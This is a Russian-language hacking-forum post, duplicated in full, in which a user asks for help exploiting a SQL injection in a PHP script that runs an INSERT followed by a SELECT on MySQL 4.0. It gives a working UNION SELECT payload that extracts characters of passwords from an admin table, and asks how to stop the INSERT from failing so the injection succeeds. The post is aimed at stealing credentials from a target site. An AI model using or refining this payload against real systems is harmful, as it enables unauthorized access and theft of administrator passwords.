budden
01.02.2010, 17:12
Сабж.
Имеем уязвимый скрипт, в котором с полученными параметрами выполняется 2 запроса (в указанном порядке):
1) insert into DBinfo (user, text1, text2, text3 ) values ('$USER','$text1', now(), '$text3')
2) select id from DBinfo where user='$USER' and text1='$text1' and text3='$text3'
magic_quotes = ON, при этом кавычки можно вставить только в одно поле - $USER (у него вероятно стоит stripslashes()).
Исходные данные: mysql 4.0.10 (а значит никаких подзапросов :()
Как видно, отсылаемые данные сначала заносятся в таблицу, где автоинкрементом вырастает соответсвующий им id, а затем идет запрос, чтобы узнать этот id. Полученный во втором запросе id я могу впоследствии увидеть. Сразу возникает мысль, что нужно сделать так, чтобы во втором запросе вместо айди я получил что-то нужное мне с помощью union:
'+union+select+ascii(substring(password,2,1))+from +admin_table/*
Запрос тогда примет вид:
select id from DBinfo where user='' union select ascii(substring(password,2,1)) from admin_table/*' and text1='$text1' and text3='$text3'
Все бы хорошо, однако перед этим должен успешно выполниться INSERT запрос, и при указнном $USER он естественно ругается. Посему вопрос - может у кого-нибудь есть идеи, как в указанной ситуации выкрутиться?
Спасибо всем, кто напряжет мозг :)
Имеем уязвимый скрипт, в котором с полученными параметрами выполняется 2 запроса (в указанном порядке):
1) insert into DBinfo (user, text1, text2, text3 ) values ('$USER','$text1', now(), '$text3')
2) select id from DBinfo where user='$USER' and text1='$text1' and text3='$text3'
magic_quotes = ON, при этом кавычки можно вставить только в одно поле - $USER (у него вероятно стоит stripslashes()).
Исходные данные: mysql 4.0.10 (а значит никаких подзапросов :()
Как видно, отсылаемые данные сначала заносятся в таблицу, где автоинкрементом вырастает соответсвующий им id, а затем идет запрос, чтобы узнать этот id. Полученный во втором запросе id я могу впоследствии увидеть. Сразу возникает мысль, что нужно сделать так, чтобы во втором запросе вместо айди я получил что-то нужное мне с помощью union:
'+union+select+ascii(substring(password,2,1))+from +admin_table/*
Запрос тогда примет вид:
select id from DBinfo where user='' union select ascii(substring(password,2,1)) from admin_table/*' and text1='$text1' and text3='$text3'
Все бы хорошо, однако перед этим должен успешно выполниться INSERT запрос, и при указнном $USER он естественно ругается. Посему вопрос - может у кого-нибудь есть идеи, как в указанной ситуации выкрутиться?
Спасибо всем, кто напряжет мозг :)